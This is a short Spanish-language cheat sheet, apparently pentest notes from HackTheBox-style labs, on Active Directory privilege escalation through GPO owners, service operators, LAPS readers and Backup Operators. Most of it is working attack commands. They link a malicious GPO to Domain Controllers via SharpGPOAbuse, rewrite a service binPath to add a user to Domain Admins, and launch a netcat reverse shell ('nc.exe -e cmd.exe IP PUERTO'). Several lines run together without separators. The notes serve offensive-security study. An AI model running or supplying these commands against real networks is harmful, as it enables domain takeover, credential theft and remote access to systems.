#privesc #ActiveDirectory #bloodhound
CREAR GPOs PARA ESCALAR (por ejemplo si somos miembros de GPO owners)
powershell
New-GPO -Name "hacker"
New-GPLink -Name "hacker" -Target "OU=Domain Controllers,DC=frizz,DC=htb"
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount USER --GPOName hacker
gpupdate /forceService Operators
Listamos los servicios con:
powershell
servicespowershell
sc config servicePATH binPath="cmd.exe /c net group 'Domain Admins' usuarioPwned /add /domain"||
powershell
sc.exe config servicePATH binPath="C:\Users\svc-printer\AppData\Local\Temp\nc.exe -e cmd.exe IP PUERTO"powershell
sc.exe stop serviceName
sc.exe start serviceNameLAPS readers
Pueden leer todas las contraseñas
powershell
Get-ADComputer -Filter ‘ObjectClass -eq “computer”’ -Property *bash
netstat -ano | FindStr /I "Pwd"Protected Users/Objects
Obliga al usuario a usar solo los métodos más seguros (Kerberos AES) y bloquea los débiles (NTLM, RC4).
Backup Operators
bash
nxc smb domain -u 'user' -p 'pass' -M backup_operator